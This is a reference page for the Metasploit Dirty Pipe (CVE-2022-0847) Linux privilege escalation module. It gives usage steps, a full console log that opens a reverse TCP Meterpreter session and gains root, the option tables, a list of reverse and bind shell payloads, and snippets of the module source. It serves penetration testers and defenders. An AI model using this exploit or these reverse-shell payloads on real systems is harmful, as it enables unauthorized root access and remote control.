Dirty Pipe Local Privilege Escalation via CVE-2022-0847 - Metasploit


This page contains detailed information about how to use the exploit/linux/local/cve_2022_0847_dirtypipe metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Dirty Pipe Local Privilege Escalation via CVE-2022-0847
Module: exploit/linux/local/cve_2022_0847_dirtypipe
Source code: modules/exploits/linux/local/cve_2022_0847_dirtypipe.rb
Disclosure date: 2022-02-20
Last modification time: 2022-03-10 10:39:32 +0000
Supported architecture(s): x64, x86, armle, aarch64
Supported platform(s): Linux
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2022-0847

This module is also known as Dirty Pipe.

This exploit targets a vulnerability in the Linux kernel since 5.8, that allows writing of read only or immutable memory. The vulnerability was fixed in Linux 5.16.11, 5.15.25 and 5.10.102. The module exploits this vulnerability by overwriting a suid binary with the payload, executing it, and then writing the original data back. There are two major limitations of this exploit: the offset cannot be on a page boundary (it needs to write one byte before the offset to add a reference to this page to the pipe), and the write cannot cross a page boundary. This means the payload must be less than the page size (4096 bytes).

Module Ranking and Traits


Module Ranking:

  • excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.

Reliability:

  • repeatable-session: The module is expected to get a shell every time it runs.

Stability:

  • crash-safe: Module should not crash the service.

Side Effects:

  • artifacts-on-disk: Modules leaves a payload or a dropper on the target machine.

Basic Usage


Note: To run a local exploit, make sure you are at the msf prompt. Also, to check the session ID, use the sessions command.

msf > use exploit/linux/local/cve_2022_0847_dirtypipe
msf exploit(cve_2022_0847_dirtypipe) > show targets
    ... a list of targets ...
msf exploit(cve_2022_0847_dirtypipe) > set TARGET target-id
msf exploit(cve_2022_0847_dirtypipe) > show options
    ... show and set options ...
msf exploit(cve_2022_0847_dirtypipe) > set SESSION session-id
msf exploit(cve_2022_0847_dirtypipe) > exploit

Required Options


  • SESSION: The session to run this module on

Knowledge Base


Vulnerable Application


This exploit targets a vulnerability in the Linux kernel since 5.8, that allows writing of read only or immutable memory.

The vulnerability was fixed in Linux 5.16.11, 5.15.25 and 5.10.102. The module exploits this vulnerability by overwriting a suid binary with the payload, executing it, and then writing the original data back.

There are two major limitations of this exploit: the offset cannot be on a page boundary (it needs to write one byte before the offset to add a reference to this page to the pipe), and the write cannot cross a page boundary. This means the payload must be less than the page size (4096 bytes).

Verification Steps


  • Start msfconsole
  • Get a non-root shell/meterpreter session
  • use exploit/linux/local/cve_2022_0847_dirtypipe
  • set SESSION <session>
  • set LHOST <lhost>
  • run

Options


WRITEABLE_DIR

This indicates the location where you would like the payload and exploit stored, as well as serving as a location to store the various files and directories created by the exploit itself. The default value is /tmp

SUID_BINARY_PATH

This option is the path of the remote suid binary that will be overwritten with the payload. The default value is /bin/passwd, which should be present on most Linux distributions.

Scenarios


Ubuntu 20.10 x64, Kernel Linux 5.8.0-25-generic

msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 192.168.140.1:4444
[*] Sending stage (3020772 bytes) to 192.168.140.139
[*] Meterpreter session 1 opened (192.168.140.1:4444 -> 192.168.140.139:55512 ) at 2022-03-10 09:54:38 -0600

meterpreter > getuid
Server username: dirtypipe
meterpreter > sysinfo
Computer     : 192.168.140.139
OS           : Ubuntu 20.10 (Linux 5.8.0-25-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(multi/handler) > use exploit/linux/local/cve_2022_0847_dirtypipe
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/cve_2022_0847_dirtypipe) > set session 1
session => 1
msf6 exploit(linux/local/cve_2022_0847_dirtypipe) > set lhost 192.168.140.1
lhost => 192.168.140.1
msf6 exploit(linux/local/cve_2022_0847_dirtypipe) > run

[!] SESSION may not be compatible with this module:
[!]  * missing Meterpreter features: stdapi_railgun_api
[*] Started reverse TCP handler on 192.168.140.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Linux kernel version found: 5.8.0
[*] Writing '/tmp/.gxywtu' (35592 bytes) ...
[*] Executing exploit '/tmp/.gxywtu /bin/passwd'
[*] Sending stage (3020772 bytes) to 192.168.140.139
[+] Deleted /tmp/.gxywtu
[*] Meterpreter session 2 opened (192.168.140.1:4444 -> 192.168.140.139:55514 ) at 2022-03-10 09:55:03 -0600

meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer     : 192.168.140.139
OS           : Ubuntu 20.10 (Linux 5.8.0-25-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter >

Go back to menu.

Msfconsole Usage


Here is how the linux/local/cve_2022_0847_dirtypipe exploit module looks in the msfconsole:

msf6 > use exploit/linux/local/cve_2022_0847_dirtypipe

[*] Using configured payload linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/cve_2022_0847_dirtypipe) > show info

       Name: Dirty Pipe Local Privilege Escalation via CVE-2022-0847
     Module: exploit/linux/local/cve_2022_0847_dirtypipe
   Platform: Linux
       Arch: x64, x86, armle, aarch64
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2022-02-20

Provided by:
  Max Kellermann
  timwr

Module side effects:
 artifacts-on-disk

Module stability:
 crash-safe

Module reliability:
 repeatable-session

Available targets:
  Id  Name
  --  ----
  0   Automatic

Check supported:
  Yes

Basic options:
  Name              Current Setting  Required  Description
  ----              ---------------  --------  -----------
  COMPILE           Auto             yes       Compile on target (Accepted: Auto, True, False)
  SESSION                            yes       The session to run this module on
  SUID_BINARY_PATH  /bin/passwd      no        The path to a suid binary
  WRITABLE_DIR      /tmp             yes       A directory where we can write files

Payload information:

Description:
  This exploit targets a vulnerability in the Linux kernel since 5.8, 
  that allows writing of read only or immutable memory. The 
  vulnerability was fixed in Linux 5.16.11, 5.15.25 and 5.10.102. The 
  module exploits this vulnerability by overwriting a suid binary with 
  the payload, executing it, and then writing the original data back. 
  There are two major limitations of this exploit: the offset cannot 
  be on a page boundary (it needs to write one byte before the offset 
  to add a reference to this page to the pipe), and the write cannot 
  cross a page boundary. This means the payload must be less than the 
  page size (4096 bytes).

References:
  https://nvd.nist.gov/vuln/detail/CVE-2022-0847
  https://dirtypipe.cm4all.com
  https://haxx.in/files/dirtypipez.c

Also known as:
  Dirty Pipe

Module Options


This is a complete list of options available in the linux/local/cve_2022_0847_dirtypipe exploit:

msf6 exploit(linux/local/cve_2022_0847_dirtypipe) > show options

Module options (exploit/linux/local/cve_2022_0847_dirtypipe):

   Name              Current Setting  Required  Description
   ----              ---------------  --------  -----------
   COMPILE           Auto             yes       Compile on target (Accepted: Auto, True, False)
   SESSION                            yes       The session to run this module on
   SUID_BINARY_PATH  /bin/passwd      no        The path to a suid binary
   WRITABLE_DIR      /tmp             yes       A directory where we can write files

Payload options (linux/x64/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Automatic

Advanced Options


Here is a complete list of advanced options supported by the linux/local/cve_2022_0847_dirtypipe exploit:

msf6 exploit(linux/local/cve_2022_0847_dirtypipe) > show advanced

Module advanced options (exploit/linux/local/cve_2022_0847_dirtypipe):

   Name                    Current Setting  Required  Description
   ----                    ---------------  --------  -----------
   AllowNoCleanup          false            no        Allow exploitation without the possibility of cleaning up files
   AutoCheck               true             no        Run check before exploit
   ContextInformationFile                   no        The information file that contains context information
   DisablePayloadHandler   false            no        Disable the handler code for the selected payload
   EXE::Custom                              no        Use custom exe instead of automatically generating a payload exe
   EXE::EICAR              false            no        Generate an EICAR file instead of regular payload exe
   EXE::FallBack           false            no        Use the default template in case the specified one is missing
   EXE::Inject             false            no        Set to preserve the original EXE function
   EXE::OldMethod          false            no        Set to use the substitution EXE generation method.
   EXE::Path                                no        The directory in which to look for the executable template
   EXE::Template                            no        The executable template file name.
   EnableContextEncoding   false            no        Use transient context when encoding payloads
   FileDropperDelay                         no        Delay in seconds before attempting cleanup
   ForceExploit            false            no        Override check result
   MSI::Custom                              no        Use custom msi instead of automatically generating a payload msi
   MSI::EICAR              false            no        Generate an EICAR file instead of regular payload msi
   MSI::Path                                no        The directory in which to look for the msi template
   MSI::Template                            no        The msi template file name
   MSI::UAC                false            no        Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
   VERBOSE                 false            no        Enable detailed status messages
   WORKSPACE                                no        Specify the workspace for this module
   WfsDelay                2                no        Additional delay in seconds to wait for a session

Payload advanced options (linux/x64/meterpreter/reverse_tcp):

   Name                         Current Setting  Required  Description
   ----                         ---------------  --------  -----------
   AppendExit                   true             no        Append a stub that executes the exit(0) system call
   AutoLoadStdapi               true             yes       Automatically load the Stdapi extension
   AutoRunScript                                 no        A script to run automatically on session creation.
   AutoSystemInfo               true             yes       Automatically capture system information on initialization.
   AutoUnhookProcess            false            yes       Automatically load the unhook extension and unhook the process
   AutoVerifySessionTimeout     30               no        Timeout period to wait for session validation to occur, in seconds
   EnableStageEncoding          false            no        Encode the second stage payload
   EnableUnicodeEncoding        false            yes       Automatically encode UTF-8 strings as hexadecimal
   HandlerSSLCert                                no        Path to a SSL certificate in unified PEM format, ignored for HTTP transports
   InitialAutoRunScript                          no        An initial script to run on session creation (before AutoRunScript)
   MeterpreterDebugLevel        0                yes       Set debug level for meterpreter 0-3 (Default output is strerr)
   MeterpreterTryToFork         false            no        Fork a new process if the functionality is available
   PayloadProcessCommandLine                     no        The displayed command line that will be used by the payload
   PayloadUUIDName                               no        A human-friendly name to reference this unique payload (requires tracking)
   PayloadUUIDRaw                                no        A hex string representing the raw 8-byte PUID value for the UUID
   PayloadUUIDSeed                               no        A string to use when generating the payload UUID (deterministic)
   PayloadUUIDTracking          false            yes       Whether or not to automatically register generated UUIDs
   PingbackRetries              0                yes       How many additional successful pingbacks
   PingbackSleep                30               yes       Time (in seconds) to sleep between pingbacks
   PrependChrootBreak           false            no        Prepend a stub that will break out of a chroot (includes setreuid to root)
   PrependFork                  true             no        Prepend a stub that starts the payload in its own process via fork
   PrependSetgid                false            no        Prepend a stub that executes the setgid(0) system call
   PrependSetregid              false            no        Prepend a stub that executes the setregid(0, 0) system call
   PrependSetresgid             true             no        Prepend a stub that executes the setresgid(0, 0, 0) system call
   PrependSetresuid             true             no        Prepend a stub that executes the setresuid(0, 0, 0) system call
   PrependSetreuid              true             no        Prepend a stub that executes the setreuid(0, 0) system call
   PrependSetuid                true             no        Prepend a stub that executes the setuid(0) system call
   RemoteMeterpreterDebugFile                    no        Redirect Debug Info to a Log File
   ReverseAllowProxy            false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                    no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                       no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                           no        The specific communication channel to use for this listener
   ReverseListenerThreaded      false            yes       Handle every connection in a new thread (experimental)
   SessionCommunicationTimeout  300              no        The number of seconds of no activity before this session should be killed
   SessionExpirationTimeout     604800           no        The number of seconds before this session should be forcibly shut down
   SessionRetryTotal            3600             no        Number of seconds try reconnecting for on network failure
   SessionRetryWait             10               no        Number of seconds to wait between reconnect attempts
   StageEncoder                                  no        Encoder to use if EnableStageEncoding is set
   StageEncoderSaveRegisters                     no        Additional registers to preserve in the staged payload if EnableStageEncoding is set
   StageEncodingFallback        true             no        Fallback to no encoding if the selected StageEncoder is not compatible
   StagerRetryCount             10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait              5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                      false            no        Enable detailed status messages
   WORKSPACE                                     no        Specify the workspace for this module

Exploit Targets


Here is a list of targets (platforms and systems) which the linux/local/cve_2022_0847_dirtypipe module can exploit:

msf6 exploit(linux/local/cve_2022_0847_dirtypipe) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Automatic

Compatible Payloads


This is a list of possible payloads which can be delivered and executed on the target system using the linux/local/cve_2022_0847_dirtypipe exploit:

msf6 exploit(linux/local/cve_2022_0847_dirtypipe) > show payloads

Compatible Payloads
===================

   #   Name                                              Disclosure Date  Rank    Check  Description
   -   ----                                              ---------------  ----    -----  -----------
   0   payload/generic/custom                                             normal  No     Custom Payload
   1   payload/generic/debug_trap                                         normal  No     Generic x86 Debug Trap
   2   payload/generic/shell_bind_tcp                                     normal  No     Generic Command Shell, Bind TCP Inline
   3   payload/generic/shell_reverse_tcp                                  normal  No     Generic Command Shell, Reverse TCP Inline
   4   payload/generic/ssh/interact                                       normal  No     Interact with Established SSH Connection
   5   payload/generic/tight_loop                                         normal  No     Generic x86 Tight Loop
   6   payload/linux/aarch64/meterpreter/reverse_tcp                      normal  No     Linux Meterpreter, Reverse TCP Stager
   7   payload/linux/aarch64/meterpreter_reverse_http                     normal  No     Linux Meterpreter, Reverse HTTP Inline
   8   payload/linux/aarch64/meterpreter_reverse_https                    normal  No     Linux Meterpreter, Reverse HTTPS Inline
   9   payload/linux/aarch64/meterpreter_reverse_tcp                      normal  No     Linux Meterpreter, Reverse TCP Inline
   10  payload/linux/aarch64/shell/reverse_tcp                            normal  No     Linux dup2 Command Shell, Reverse TCP Stager
   11  payload/linux/aarch64/shell_reverse_tcp                            normal  No     Linux Command Shell, Reverse TCP Inline
   12  payload/linux/armle/adduser                                        normal  No     Linux Add User
   13  payload/linux/armle/exec                                           normal  No     Linux Execute Command
   14  payload/linux/armle/meterpreter/bind_tcp                           normal  No     Linux Meterpreter, Bind TCP Stager
   15  payload/linux/armle/meterpreter/reverse_tcp                        normal  No     Linux Meterpreter, Reverse TCP Stager
   16  payload/linux/armle/meterpreter_reverse_http                       normal  No     Linux Meterpreter, Reverse HTTP Inline
   17  payload/linux/armle/meterpreter_reverse_https                      normal  No     Linux Meterpreter, Reverse HTTPS Inline
   18  payload/linux/armle/meterpreter_reverse_tcp                        normal  No     Linux Meterpreter, Reverse TCP Inline
   19  payload/linux/armle/shell/bind_tcp                                 normal  No     Linux dup2 Command Shell, Bind TCP Stager
   20  payload/linux/armle/shell/reverse_tcp                              normal  No     Linux dup2 Command Shell, Reverse TCP Stager
   21  payload/linux/armle/shell_bind_tcp                                 normal  No     Linux Command Shell, Reverse TCP Inline
   22  payload/linux/armle/shell_reverse_tcp                              normal  No     Linux Command Shell, Reverse TCP Inline
   23  payload/linux/x64/exec                                             normal  No     Linux Execute Command
   24  payload/linux/x64/meterpreter/bind_tcp                             normal  No     Linux Mettle x64, Bind TCP Stager
   25  payload/linux/x64/meterpreter/reverse_tcp                          normal  No     Linux Mettle x64, Reverse TCP Stager
   26  payload/linux/x64/meterpreter_reverse_http                         normal  No     Linux Meterpreter, Reverse HTTP Inline
   27  payload/linux/x64/meterpreter_reverse_https                        normal  No     Linux Meterpreter, Reverse HTTPS Inline
   28  payload/linux/x64/meterpreter_reverse_tcp                          normal  No     Linux Meterpreter, Reverse TCP Inline
   29  payload/linux/x64/pingback_bind_tcp                                normal  No     Linux x64 Pingback, Bind TCP Inline
   30  payload/linux/x64/pingback_reverse_tcp                             normal  No     Linux x64 Pingback, Reverse TCP Inline
   31  payload/linux/x64/shell/bind_tcp                                   normal  No     Linux Command Shell, Bind TCP Stager
   32  payload/linux/x64/shell/reverse_tcp                                normal  No     Linux Command Shell, Reverse TCP Stager
   33  payload/linux/x64/shell_bind_ipv6_tcp                              normal  No     Linux x64 Command Shell, Bind TCP Inline (IPv6)
   34  payload/linux/x64/shell_bind_tcp                                   normal  No     Linux Command Shell, Bind TCP Inline
   35  payload/linux/x64/shell_bind_tcp_random_port                       normal  No     Linux Command Shell, Bind TCP Random Port Inline
   36  payload/linux/x64/shell_reverse_ipv6_tcp                           normal  No     Linux x64 Command Shell, Reverse TCP Inline (IPv6)
   37  payload/linux/x64/shell_reverse_tcp                                normal  No     Linux Command Shell, Reverse TCP Inline
   38  payload/linux/x86/adduser                                          normal  No     Linux Add User
   39  payload/linux/x86/chmod                                            normal  No     Linux Chmod
   40  payload/linux/x86/exec                                             normal  No     Linux Execute Command
   41  payload/linux/x86/meterpreter/bind_ipv6_tcp                        normal  No     Linux Mettle x86, Bind IPv6 TCP Stager (Linux x86)
   42  payload/linux/x86/meterpreter/bind_ipv6_tcp_uuid                   normal  No     Linux Mettle x86, Bind IPv6 TCP Stager with UUID Support (Linux x86)
   43  payload/linux/x86/meterpreter/bind_nonx_tcp                        normal  No     Linux Mettle x86, Bind TCP Stager
   44  payload/linux/x86/meterpreter/bind_tcp                             normal  No     Linux Mettle x86, Bind TCP Stager (Linux x86)
   45  payload/linux/x86/meterpreter/bind_tcp_uuid                        normal  No     Linux Mettle x86, Bind TCP Stager with UUID Support (Linux x86)
   46  payload/linux/x86/meterpreter/reverse_ipv6_tcp                     normal  No     Linux Mettle x86, Reverse TCP Stager (IPv6)
   47  payload/linux/x86/meterpreter/reverse_nonx_tcp                     normal  No     Linux Mettle x86, Reverse TCP Stager
   48  payload/linux/x86/meterpreter/reverse_tcp                          normal  No     Linux Mettle x86, Reverse TCP Stager
   49  payload/linux/x86/meterpreter/reverse_tcp_uuid                     normal  No     Linux Mettle x86, Reverse TCP Stager
   50  payload/linux/x86/meterpreter_reverse_http                         normal  No     Linux Meterpreter, Reverse HTTP Inline
   51  payload/linux/x86/meterpreter_reverse_https                        normal  No     Linux Meterpreter, Reverse HTTPS Inline
   52  payload/linux/x86/meterpreter_reverse_tcp                          normal  No     Linux Meterpreter, Reverse TCP Inline
   53  payload/linux/x86/metsvc_bind_tcp                                  normal  No     Linux Meterpreter Service, Bind TCP
   54  payload/linux/x86/metsvc_reverse_tcp                               normal  No     Linux Meterpreter Service, Reverse TCP Inline
   55  payload/linux/x86/read_file                                        normal  No     Linux Read File
   56  payload/linux/x86/shell/bind_ipv6_tcp                              normal  No     Linux Command Shell, Bind IPv6 TCP Stager (Linux x86)
   57  payload/linux/x86/shell/bind_ipv6_tcp_uuid                         normal  No     Linux Command Shell, Bind IPv6 TCP Stager with UUID Support (Linux x86)
   58  payload/linux/x86/shell/bind_nonx_tcp                              normal  No     Linux Command Shell, Bind TCP Stager
   59  payload/linux/x86/shell/bind_tcp                                   normal  No     Linux Command Shell, Bind TCP Stager (Linux x86)
   60  payload/linux/x86/shell/bind_tcp_uuid                              normal  No     Linux Command Shell, Bind TCP Stager with UUID Support (Linux x86)
   61  payload/linux/x86/shell/reverse_ipv6_tcp                           normal  No     Linux Command Shell, Reverse TCP Stager (IPv6)
   62  payload/linux/x86/shell/reverse_nonx_tcp                           normal  No     Linux Command Shell, Reverse TCP Stager
   63  payload/linux/x86/shell/reverse_tcp                                normal  No     Linux Command Shell, Reverse TCP Stager
   64  payload/linux/x86/shell/reverse_tcp_uuid                           normal  No     Linux Command Shell, Reverse TCP Stager
   65  payload/linux/x86/shell_bind_ipv6_tcp                              normal  No     Linux Command Shell, Bind TCP Inline (IPv6)
   66  payload/linux/x86/shell_bind_tcp                                   normal  No     Linux Command Shell, Bind TCP Inline
   67  payload/linux/x86/shell_bind_tcp_random_port                       normal  No     Linux Command Shell, Bind TCP Random Port Inline
   68  payload/linux/x86/shell_reverse_tcp                                normal  No     Linux Command Shell, Reverse TCP Inline
   69  payload/linux/x86/shell_reverse_tcp_ipv6                           normal  No     Linux Command Shell, Reverse TCP Inline (IPv6)

Evasion Options


Here is the full list of possible evasion options supported by the linux/local/cve_2022_0847_dirtypipe exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(linux/local/cve_2022_0847_dirtypipe) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

System architecture <ARCH> is not supported without live compilation


Here is a relevant code snippet related to the "System architecture <ARCH> is not supported without live compilation" error message:

80:	  end
81:	
82:	  def check
83:	    arch = kernel_arch
84:	    unless live_compile? || arch.include?('x64') || arch.include?('aarch64') || arch.include?('x86') || arch.include?('armle')
85:	      return CheckCode::Safe("System architecture #{arch} is not supported without live compilation")
86:	    end
87:	
88:	    kernel_version = Rex::Version.new kernel_release.split('-').first
89:	    if kernel_version < Rex::Version.new('5.8') ||
90:	       kernel_version >= Rex::Version.new('5.16.11') ||

Linux kernel version <KERNEL_VERSION> is not vulnerable


Here is a relevant code snippet related to the "Linux kernel version <KERNEL_VERSION> is not vulnerable" error message:

88:	    kernel_version = Rex::Version.new kernel_release.split('-').first
89:	    if kernel_version < Rex::Version.new('5.8') ||
90:	       kernel_version >= Rex::Version.new('5.16.11') ||
91:	       (kernel_version >= Rex::Version.new('5.15.25') && kernel_version < Rex::Version.new('5.16')) ||
92:	       (kernel_version >= Rex::Version.new('5.10.102') && kernel_version < Rex::Version.new('5.11'))
93:	      return CheckCode::Safe("Linux kernel version #{kernel_version} is not vulnerable")
94:	    end
95:	
96:	    CheckCode::Appears("Linux kernel version found: #{kernel_version}")
97:	  end
98:	

Linux kernel version found: <KERNEL_VERSION>


Here is a relevant code snippet related to the "Linux kernel version found: <KERNEL_VERSION>" error message:

91:	       (kernel_version >= Rex::Version.new('5.15.25') && kernel_version < Rex::Version.new('5.16')) ||
92:	       (kernel_version >= Rex::Version.new('5.10.102') && kernel_version < Rex::Version.new('5.11'))
93:	      return CheckCode::Safe("Linux kernel version #{kernel_version} is not vulnerable")
94:	    end
95:	
96:	    CheckCode::Appears("Linux kernel version found: #{kernel_version}")
97:	  end
98:	
99:	  def exp_dir
100:	    datastore['WRITABLE_DIR']
101:	  end

The suid binary was not found; try setting SUID_BINARY_PATH


Here is a relevant code snippet related to the "The suid binary was not found; try setting SUID_BINARY_PATH" error message:

100:	    datastore['WRITABLE_DIR']
101:	  end
102:	
103:	  def exploit
104:	    suid_binary_path = datastore['SUID_BINARY_PATH']
105:	    fail_with(Failure::BadConfig, 'The suid binary was not found; try setting SUID_BINARY_PATH') if suid_binary_path.nil?
106:	    fail_with(Failure::BadConfig, "The #{suid_binary_path} binary setuid bit is not set") unless setuid?(suid_binary_path)
107:	
108:	    arch = kernel_arch
109:	    vprint_status("Detected architecture: #{arch}")
110:	    vprint_status("Detected payload arch: #{payload.arch.first}")

The <SUID_BINARY_PATH> binary setuid bit is not set


Here is a relevant code snippet related to the "The <SUID_BINARY_PATH> binary setuid bit is not set" error message:

101:	  end
102:	
103:	  def exploit
104:	    suid_binary_path = datastore['SUID_BINARY_PATH']
105:	    fail_with(Failure::BadConfig, 'The suid binary was not found; try setting SUID_BINARY_PATH') if suid_binary_path.nil?
106:	    fail_with(Failure::BadConfig, "The #{suid_binary_path} binary setuid bit is not set") unless setuid?(suid_binary_path)
107:	
108:	    arch = kernel_arch
109:	    vprint_status("Detected architecture: #{arch}")
110:	    vprint_status("Detected payload arch: #{payload.arch.first}")
111:	    unless arch == payload.arch.first

Payload/Host architecture mismatch. Please select the proper target architecture


Here is a relevant code snippet related to the "Payload/Host architecture mismatch. Please select the proper target architecture" error message:

107:	
108:	    arch = kernel_arch
109:	    vprint_status("Detected architecture: #{arch}")
110:	    vprint_status("Detected payload arch: #{payload.arch.first}")
111:	    unless arch == payload.arch.first
112:	      fail_with(Failure::BadConfig, 'Payload/Host architecture mismatch. Please select the proper target architecture')
113:	    end
114:	
115:	    payload_data = generate_payload_exe[1..] # trim the first byte (0x74)
116:	    if payload_data.length > 4095
117:	      fail_with(Failure::BadConfig, "Payload size #{payload_data.length} is too large (> 4095)")

Payload size <PAYLOAD_DATA.LENGTH> is too large (> 4095)


Here is a relevant code snippet related to the "Payload size <PAYLOAD_DATA.LENGTH> is too large (> 4095)" error message:

112:	      fail_with(Failure::BadConfig, 'Payload/Host architecture mismatch. Please select the proper target architecture')
113:	    end
114:	
115:	    payload_data = generate_payload_exe[1..] # trim the first byte (0x74)
116:	    if payload_data.length > 4095
117:	      fail_with(Failure::BadConfig, "Payload size #{payload_data.length} is too large (> 4095)")
118:	    end
119:	
120:	    fail_with(Failure::BadConfig, "#{exp_dir} is not writable") unless writable?(exp_dir)
121:	    exploit_file = "#{exp_dir}/.#{Rex::Text.rand_text_alpha_lower(6..12)}"
122:	

<EXP_DIR> is not writable


Here is a relevant code snippet related to the "<EXP_DIR> is not writable" error message:

115:	    payload_data = generate_payload_exe[1..] # trim the first byte (0x74)
116:	    if payload_data.length > 4095
117:	      fail_with(Failure::BadConfig, "Payload size #{payload_data.length} is too large (> 4095)")
118:	    end
119:	
120:	    fail_with(Failure::BadConfig, "#{exp_dir} is not writable") unless writable?(exp_dir)
121:	    exploit_file = "#{exp_dir}/.#{Rex::Text.rand_text_alpha_lower(6..12)}"
122:	
123:	    if live_compile?
124:	      vprint_status('Live compiling exploit on system...')
125:	      exploit_c = exploit_data('CVE-2022-0847', 'CVE-2022-0847.c')

Go back to menu.


References


See Also


Check also the following modules related to this module:

Related Nessus plugins:

Authors


  • Max Kellermann
  • timwr

Version


This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.